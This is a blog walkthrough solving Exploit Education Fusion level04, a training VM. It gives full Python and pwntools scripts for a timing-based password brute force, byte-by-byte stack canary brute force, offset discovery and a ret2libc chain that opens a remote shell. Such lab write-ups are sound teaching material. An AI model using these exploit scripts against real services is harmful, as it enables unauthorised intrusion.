Exploit Education | Fusion | Level 04 Solution

Level04 introduces timing attacks, position independent executables (PIE), and stack smashing protection (SSP). Partial overwrites ahoy!

The description and source code can be found here:
http://exploit.education/fusion/level04/

The difficulty has really been bumped up a few notches with this level. There are multiple protections to circumvent so you just have to take them one at a time.

Source Code Analysis

Like the last level, I won’t go into great detail with all the source code since most of it doesn’t matter. I haven’t even analyzed it all myself.

Starting with the comments, we can see that this is an HTTP server based on an open source implementation called micro_httpd. So the first thing I did was open a browser and tried to connect to the Fusion VM over port 20004:

As you can see, some basic authentication is required. If you just click cancel on the dialog, you’ll get a “401 Unauthorized” message. Next, I’ll look for vulnerabilities to see if I can bypass that authentication.

I spotted a buffer overflow in the validate_credentials() function:

int validate_credentials(char *line) {
    char *p, *pw;
    unsigned char details[2048];
    int bytes_wrong;
    int l;
    struct timeval tv;
    int output_len;

    memset(details, 0, sizeof(details));

    output_len = sizeof(details);

    ...

    base64_decode(line, strlen(line), details, &output_len);
    ...
    for(bytes_wrong = 0, l = 0; pw[l] && l < password_size; l++) {
        if(pw[l] != password[l]) {
            ...
            bytes_wrong++;
        }
    }

    // anti bruteforce mechanism. good luck ;>
    tv.tv_sec = 0;
    tv.tv_usec = 2500 * bytes_wrong;

    select(0, NULL, NULL, NULL, &tv);

    if (l < password_size || bytes_wrong)
        send_error(401, "Unauthorized", "WWW-Authenticate: Basic realm=\"stack06\"", "Unauthorized");

    return 1;
}

Note: I’m only showing the relevant lines.

That base64_decode() function simply decodes whatever base64 is given in the “line” variable and saves it to the “details” variable. We can supply a base64 string of any length and it will happily overflow that 2048 byte buffer.

The problem is, if the password is wrong, the code jumps to the send_error() function and exits instead of returning from validate_credentials(). You might also notice that the program uses the select() function to pause execution for 2,500 microseconds for every wrong character in the password. This is supposed to be an anti brute-force mechanism, but ironically, it’s what allows us to brute-force it. We can guess at the password, 1 character at a time, trying all possibilities. The one that takes the least amount of time should be the correct character. The code only adds to the “bytes_wrong” integer if the client supplies an incorrect character. The amount of time the program pauses for is based on that variable.

Finding The Password

First, I’ll write a short Python script to make sure I know how to interact with the program:

#!/usr/bin/env python3

from base64 import b64encode
from pwn import *

password = b"ABCD"

payload  = b"GET / HTTP/1.1\n"
payload += b"Authorization: Basic "
payload += b64encode(password)
payload += b"\n\n"

io = remote("fusion", 20004)
io.send(payload)
print(io.recvall().decode())

Not surprisingly, I get a 401 error when running that:

andrew ~/fusion/level04 $ ./level04_test.py 
[+] Opening connection to fusion on port 20004: Done
[+] Receiving all data: Done (27B)
[*] Closed connection to fusion port 20004
HTTP/1.0 401 Unauthorized

Before getting into the details of brute-forcing this password, it’s important to note that 2,500 microseconds for an incorrect character is not a lot of time. It can be hard, if not impossible, to measure that delay over a network, especially when there’s so many other factors at play. I had a tough enough time writing a brute-force script that reliably worked across 2 virtual machines. I, eventually, came up with 2 different attempts, the second one working more reliably, though it takes longer. However, it seems both of these attempts worked perfectly when the binary was being run locally (but that’s cheating, now, isn’t it).

For my first attempt, I would guess at the password, going through all of the possibilities for each character. For each possibility, I sent an attempt to the server, timed the response, repeated X number of times (usually 100), took the average and moved to the next character. When the difference between the average time for the current character and the previous character were more than 2500 microseconds, it would mark that one (the shorter one) as the correct character and move on. The problem with this attempt is that it would sometimes get false positives on which character was the correct one before getting to the actual correct character. Network latency, even between two VMs on the same host seemed to be a bit unreliable.

My second attempt was a bit more reliable. It will go through each possible character, guessing X number of times for each, find the average, and keep track of the character with the lowest average. Here’s the code for that and an example run:

#!/usr/bin/env python3

from base64 import b64encode
import socket
import string
import time


target = "fusion"
times = 50

possibilities = (string.ascii_letters + string.digits).encode()
header = b"GET / HTTP/1.1\nAuthorization: Basic "
password = b""

for _ in range(16):
    test = password
    lowest = (0, 1000000000)
    for i, c in enumerate(possibilities):
        test += bytes([c])
        payload = header + b64encode(test) + b"\n\n"
        total = 0
        for _ in range(times):
            s = socket.socket()
            s.connect((target, 20004))
            s.send(payload)
            start = time.time_ns()
            s.recv(1024)
            total += (time.time_ns() - start)
            s.close()
        curr_avg = total // times

        if lowest[1] - curr_avg > 0:
            lowest = (test, curr_avg)

        test = password
    password = lowest[0]
    print(f"Password so far: {password.decode()}")

FYI: The time.time_ns() function is new with Python 3.7 and returns an integer number of nanoseconds since the epoch.

andrew ~/fusion/level04 $ time ./level04_brute.py
Password so far: Y
Password so far: Y5
Password so far: Y51
Password so far: Y516
Password so far: Y516b
Password so far: Y516bu
Password so far: Y516bu8
Password so far: Y516bu8E
Password so far: Y516bu8El
Password so far: Y516bu8Els
Password so far: Y516bu8Elsx
Password so far: Y516bu8ElsxR
Password so far: Y516bu8ElsxRq
Password so far: Y516bu8ElsxRqg
Password so far: Y516bu8ElsxRqg1
Password so far: Y516bu8ElsxRqg1k

real    3m46.094s
user    0m1.391s
sys     0m18.615s

Now I’m going to test it out in the web browser:

Finding the Canary

Now that I can get past that pesky authentication, I’ll need to be able to defeat the stack canary. In case you’re not familiar, a stack canary is a (mostly) random value placed on the stack that’s checked before a function returns. If it’s been modified, then the program exits with an error code and that function does not return. How can we overwrite the saved return address on the stack and start ROPing? We’ll need to overwrite the canary with the exact same value that it currently has. How can we get that value? We’ll take an advantage of the fact that the canary value is the same every time the process forks and brute force it.

First, let’s take the same code I used before in level04_test.py and try to do a simple buffer overflow with the wrong password. I’ll replace the “password” in line 6 to be

password  = b"2j4kIF8SD7dW075G"
password += b"A" * 3000

Like I said earlier, the password needs to be correct or the function never returns and the buffer overflow will do nothing. However, the program only checks the first 16 characters. It doesn’t care what’s in the password field after that. I could include a username but that’ll just add unnecessary complexity to the script. Now when I run it:

andrew ~/fusion/level04 $ ./level04_bof.py 
[+] Opening connection to fusion on port 20004: Done
[+] Receiving all data: Done (68B)
[*] Closed connection to fusion port 20004
*** stack smashing detected ***: /opt/fusion/bin/level04 terminated

Ok, so maybe you’re wondering, how can brute force this canary? Well, first we find the location of the canary on the stack. I wrote a short script to do this. It just keeps adding bytes to the buffer until the program returns that “stack smashing detected” error:

#!/usr/bin/env python3

from base64 import b64encode
from pwn import *


header = b"GET / HTTP/1.1\nAuthorization: Basic "
password  = b"2j4kIF8SD7dW075G"
password += b"A" * (2048 - len(password))

context.log_level = logging.ERROR
resp = ""
while ("stack smashing detected" not in resp):
    password += b"A"
    payload  = header
    payload += b64encode(password)
    payload += b"\n\n"

    io = remote("fusion", 20004)
    io.send(payload)
    resp = io.recvall().decode()

print(f"Canary found at {len(buff) - 1} bytes after the password")

I set “context.log_level” to “logging.ERROR” so that I wouldn’t get all of the output that pwntools normally generates. By default, it’s set to “logging.INFO”. It takes less than a second to complete:

andrew ~/fusion/level04 $ ./level04_findcanary.py 
Canary found at 2032 bytes after the password

Next, we overwrite it, one byte at a time. At each byte, we keep guessing the value until we no longer get the “stack smashing detected” error:

#!/usr/bin/env python3

from base64 import b64encode
from pwn import *


target = "fusion"

header = b"GET / HTTP/1.1\nAuthorization: Basic "
password  = b"2j4kIF8SD7dW075G"
password += b"A" * 2032  # Number of bytes between the password and canary

# The first bytes in a Linux canary is always null, but we'll check anyway
addr = []
canary = b""
context.log_level = logging.ERROR
for i in range(4):
    addr.append(0)
    for b in range(0x100):
        addr[i] = p8(b)
        canary = b"".join([addr[l] for l in range(len(addr))])

        payload  = header
        payload += b64encode(password + canary)
        payload += b"\n\n"

        io = remote(target, 20004)
        io.send(payload)
        recvd = io.recv(32).decode()
        io.close()

        if "stack smashing detected" not in recvd:
            print(f"Byte position {i} found: {hex(b)}")
            break

print(f"Canary is {hex(u32(canary))}")
andrew ~/fusion/level04 $ ./level04_canary.py 
Byte position 0 found: 0x0
Byte position 1 found: 0xa3
Byte position 2 found: 0x66
Byte position 3 found: 0xd5
Canary is 0xd566a300

Finding the Offset

Now I need to figure out how far after the canary the saved return address is:

#!/usr/bin/env python3

from base64 import b64encode
from pwn import *


canary = p32(0xd566a300)
password  = b"2j4kIF8SD7dW075G"
password += b"A" * 2032
password += canary
password += cyclic(100)

payload  = b"GET / HTTP/1.1\n"
payload += b"Authorization: Basic "
payload += b64encode(password)
payload += b"\n\n"

io = remote("fusion", 20004)
io.send(payload)
print(io.recvall().decode())
andrew ~/fusion/level04 $ ./level04_offset.py 
[+] Opening connection to fusion on port 20004: Done
[+] Receiving all data: Done (0B)
[*] Closed connection to fusion port 20004

Now on the Fusion VM, I can check what the value of the EIP register was:

root@fusion:~# dmesg | tail -n1
[ 1328.555035] level04[1966]: segfault at 75616171 ip b76c4b19 sp bf952ffc error 4 in libgcc_s.so.1[b76af000+1c000]

Calculating the offset:

andrew ~/fusion/level04 $ pwn cyclic -l $(echo -n 61616168 | xxd -r -p | rev)
28

So the saved return address is 28 bytes after the end of the canary.

Creating a ROP Chain

This part is a little more difficult than with past levels as this binary is a “position independent executable” meaning the entire body of code can function properly no matter where, in memory, it’s placed. This means that the .text section (and a few others) we normally rely on to have consistent addresses are now impacted by ASLR.

Honestly, I got lucky here while playing around with this. I had inadvertently obtained a backtrace and memory map. The conditions for this seem to be having an incorrect value for the canary and the saved return address must be overwritten with a value somewhere between 0xb75d2000 and 0xbfa5dffc. I’m still not sure why this happens so feel free to leave a comment if you know.

Here’s an example that worked for me:

#!/usr/bin/env python3

from base64 import b64encode
from pwn import *


offset = 2080  # Bytes from "details" buffer to saved ret address
buff = 32  # Number of bytes from the canary to the saved return address
password  = b"2j4kIF8SD7dW075G"
password += b"A" * (offset - buff - len(password))
password += b"B" * buff
password += p32(0xb7700000)


payload  = b"GET / HTTP/1.1\n"
payload += b"Authorization: Basic "
payload += b64encode(password)
payload += b"\n\n"

io = remote("fusion", 20004)
io.send(payload)
print(io.recvall().decode())

Running this gets us all the information we need to build a ROP chain:

andrew ~/fusion/level04 $ ./level04_mmap.py 
[+] Opening connection to fusion on port 20004: Done
[+] Receiving all data: Done (1.52KB)
[*] Closed connection to fusion port 20004
*** stack smashing detected ***: /opt/fusion/bin/level04 terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x45)[0xb77b58d5]
/lib/i386-linux-gnu/libc.so.6(+0xe7887)[0xb77b5887]
/opt/fusion/bin/level04(+0x2dd1)[0xb7879dd1]
/opt/fusion/bin/level04(+0x22c7)[0xb78792c7]
/lib/i386-linux-gnu/libc.so.6(qsort+0x10)[0xb7700000]
======= Memory map: ========
b76af000-b76cb000 r-xp 00000000 07:00 92670      /lib/i386-linux-gnu/libgcc_s.so.1
b76cb000-b76cc000 r--p 0001b000 07:00 92670      /lib/i386-linux-gnu/libgcc_s.so.1
b76cc000-b76cd000 rw-p 0001c000 07:00 92670      /lib/i386-linux-gnu/libgcc_s.so.1
b76cd000-b76ce000 rw-p 00000000 00:00 0 
b76ce000-b7844000 r-xp 00000000 07:00 92669      /lib/i386-linux-gnu/libc-2.13.so
b7844000-b7846000 r--p 00176000 07:00 92669      /lib/i386-linux-gnu/libc-2.13.so
b7846000-b7847000 rw-p 00178000 07:00 92669      /lib/i386-linux-gnu/libc-2.13.so
b7847000-b784a000 rw-p 00000000 00:00 0 
b7854000-b7856000 rw-p 00000000 00:00 0 
b7856000-b7857000 r-xp 00000000 00:00 0          [vdso]
b7857000-b7875000 r-xp 00000000 07:00 92553      /lib/i386-linux-gnu/ld-2.13.so
b7875000-b7876000 r--p 0001d000 07:00 92553      /lib/i386-linux-gnu/ld-2.13.so
b7876000-b7877000 rw-p 0001e000 07:00 92553      /lib/i386-linux-gnu/ld-2.13.so
b7877000-b787b000 r-xp 00000000 07:00 75281      /opt/fusion/bin/level04
b787b000-b787c000 rw-p 00004000 07:00 75281      /opt/fusion/bin/level04
b7cc5000-b7ce6000 rw-p 00000000 00:00 0          [heap]
bf948000-bf969000 rw-p 00000000 00:00 0          [stack]

I’ve highlighted one of the lines in the backtrace. We can see that the __fortify_fail() function is at 0xb77b58d5-0x45, which turns out to be 0xb77b5890. Now, I know that the memory map tells me that libc starts at 0xb76ce000. However, in addition to getting libc’s base address, I need to know which version of libc this is. Yes, I already know since I figured this out on the last level, but for added realism, I’m not going to cheat and pretend I don’t already know.

Now I can use the libc-database tool (used in previous levels) to figure out which version of libc our remote machine is using based on the offset of __fortify_fail().

andrew ~/libc-database (master) $ ./find __fortify_fail 890
archive-old-eglibc (id libc6_2.13-20ubuntu5_i386)

Great! Now that I’ve verified that, next I’ll need to find 3 more addresses. That of system(), exit(), and the “/bin/sh” string.

andrew ~/libc-database (master) $ rabin2 -s db/libc6_2.13-20ubuntu5_i386.so | egrep ' system$| exit$'
135   0x000329e0 0x000329e0 GLOBAL FUNC   45        exit
1409  0x0003cb20 0x0003cb20 WEAK   FUNC   139       system
andrew ~/libc-database (master) $ rabin2 -z db/libc6_2.13-20ubuntu5_i386.so | grep '/bin/sh'
579  0x001388da 0x001388da 7    8    .rodata ascii   /bin/sh

Now I’ll calculate where those will be in memory:

libc addr  + system offset = system addr
0xb76ce000 +  0x0003cb20   = 0xb770ab20

libc addr  + exit offset = exit addr
0xb76ce000 + 0x000329e0  = 0xb77009e0

libc addr  +  "/bin/sh" = "/bin/sh" addr
0xb76ce000 + 0x001388da = 0xb78068da

And use those in a ROP chain:

#!/usr/bin/env python3

from base64 import b64encode
from pwn import *


target = "fusion"

offset = 2080  # Bytes from "details" buffer to saved ret address
canary = p32(0xd566a300)
buff = 28 # The space between the canary & saved return pointer
password  = b"2j4kIF8SD7dW075G"
password += b"A" * (offset - buff - len(canary) - len(password))
password += canary
password += b"B" * buff
password += p32(0xb770ab20)  # system()
password += p32(0xb77009e0)  # exit()
password += p32(0xb78068da)  # "/bin/sh"

payload  = b"GET / HTTP/1.1\n"
payload += b"Authorization: Basic "
payload += b64encode(password)
payload += b"\n\n"

io = remote(target, 20004)
io.send(payload)
io.interactive()

Running that gets me a shell!

andrew ~/fusion/level04 $ ./level04_rop.py 
[+] Opening connection to fusion on port 20004: Done
[*] Switching to interactive mode
$ id
uid=20004 gid=20004 groups=20004

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.